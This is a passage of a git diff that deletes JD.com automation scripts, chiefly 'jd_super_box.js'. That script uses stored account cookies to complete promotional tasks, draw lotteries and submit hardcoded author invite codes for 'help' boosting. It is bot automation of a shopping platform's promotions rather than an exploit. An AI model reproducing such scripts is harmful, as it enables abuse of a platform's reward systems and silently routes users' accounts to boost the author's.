Mobile/15E148;supportJDSHWK/1"), - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_super_box.js b/activity/jd_super_box.js deleted file mode 100644 index af67e11..0000000 --- a/activity/jd_super_box.js +++ /dev/null @@ -1,511 +0,0 @@ -/* -京东超级盒子 -活动时间:未知 -更新地址:jd_super_box.js -活动入口:https://prodev.m.jd.com/mall/active/21uMxFV5yiP4ivdSbmHqv5f2aXFK/index.html?tttparams=TiOY=woeyJnTG5nIjoiMTIwLjg3NTY0MSIsImdMYXQiOiIzMS4yODMxMzYifQ7== -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东超级盒子 -20 7 * * * jd_super_box.js, tag=京东超级盒子, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "20 7 * * *" script-path=jd_super_box.js,tag=京东超级盒子 - -===============Surge================= -京东超级盒子 = type=cron,cronexp="20 7 * * *",wake-system=1,timeout=3600,script-path=jd_super_box.js - -============小火箭========= -京东超级盒子 = type=cron,script-path=jd_super_box.js, cronexpr="20 7 * * *", timeout=3600, enable=true -*/ -const $ = new Env('京东超级盒子'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -const randomCount = $.isNode() ? 20 : 5; - -const inviteCodes = [ - `O3eI2LwEpHNofuF6LxjNqw@Hvm2Tg0jWloh4bnPOa9wuA@RY7V2DbS5uInv_GGD7JuoQij_0m9TAUe-t_mpE-BHB4@dZGLTyomKT0ZmOYaa4FSu0Ch0ywXFSW7gXwe_z6nUFc@UHW6hnmrpOABeMMKc5kpng`, - `O3eI2LwEpHNofuF6LxjNqw@Hvm2Tg0jWloh4bnPOa9wuA@RY7V2DbS5uInv_GGD7JuoQij_0m9TAUe-t_mpE-BHB4@dZGLTyomKT0ZmOYaa4FSu0Ch0ywXFSW7gXwe_z6nUFc@UHW6hnmrpOABeMMKc5kpng`, -]; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - await requireConfig() - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.beans = 0 - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat() - await superBox() - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - message += `本次运行获得${$.earn}红包` - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - - -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - console.log(`去助力好友${code}`) - const helpRes = await doSupport(code); - await $.wait(1000) - } -} - -async function superBox() { - $.earn = 0.0 - await drawInfo() - await getTask() - await drawInfo(false) - await helpFriends() -} - - -function getTask() { - return new Promise(resolve => { - $.get(taskUrl('apTaskList',{"linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - for(let vo of data.data){ - if(vo.taskType==='BROWSE_SHOP'){ - if(vo.taskDoTimes { - $.get(taskUrl('apTaskDetail',body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - $.canDone = true - for(let vo of data.data.taskItemList){ - await doTask(taskId,taskType,vo.itemId) - if(!$.canDone) break - await $.wait(1000) - } - } else { - console.log(`任务获取失败`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function doTask(taskId,taskType,itemId) { - let body = { - "taskId":taskId, - "taskType":taskType, - "channel":4, - "itemId":itemId, - "linkId":"xrfyA3nByKnAd7qxzmURNQ", - "encryptPin":"" - } - return new Promise(resolve => { - $.post(taskPostUrl('apDoTask',body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - - if (data.success) { - console.log(`任务完成成功`) - } else { - $.canDone = false - console.log(`任务完成失败`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function drawInfo(share=true) { - let body = {"taskId":"","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""} - return new Promise(resolve => { - $.get(taskUrl('superboxSupBoxHomePage',body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - if(share) { - console.log(`您的好友助力码为${data.data.encryptPin}`) - } - else { - console.log(`剩余抽奖次数${data.data.lotteryNumber}`) - let i = data.data.lotteryNumber - if (i) console.log(`去抽奖`) - while (i--) { - await draw() - await $.wait(1000) - } - } - } else { - console.log(`抽奖失败`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function draw() { - let body = {"taskId":"","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":""} - return new Promise(resolve => { - $.get(taskUrl('superboxOrdinaryLottery',body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - if(data.data.discount) { - if(data.data.rewardType===2) { - $.earn += parseFloat(data.data.discount) - console.log(`获得${data.data.discount}红包`) - }else{ - console.log(`获得优惠券`) - } - } - else - console.log(`获得空气`) - } else { - console.log(`抽奖失败`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doSupport(shareId) { - let body = {"taskId":"61","linkId":"xrfyA3nByKnAd7qxzmURNQ","encryptPin":shareId} - return new Promise(resolve => { - $.get(taskUrl('superboxSupBoxHomePage',body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - console.log(`助力成功`) - } else { - console.log(`助力失败`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getTs() { - return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 -} - -function taskPostUrl(function_id, body = {}) { - const t = getTs() - return { - url: `${JD_API_HOST}`, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://prodev.m.jd.com", - "Cookie": cookie, - 'dnt': '1', - 'pragma': 'no-cache', - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" - } - } -} - -function taskUrl(function_id, body = {}) { - const t = getTs() - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://prodev.m.jd.com", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} - -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDSUPERBOX_SHARECODES) { - if (process.env.JDSUPERBOX_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDSUPERBOX_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDSUPERBOX_SHARECODES.split('&'); - } - } - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}PK助力码\n`); - resolve() - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = null // await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `http://jd.turinglabs.net/api/v2/jd/festival/read/${randomCount}/`, - 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个PK助力码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} -// md5 -!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 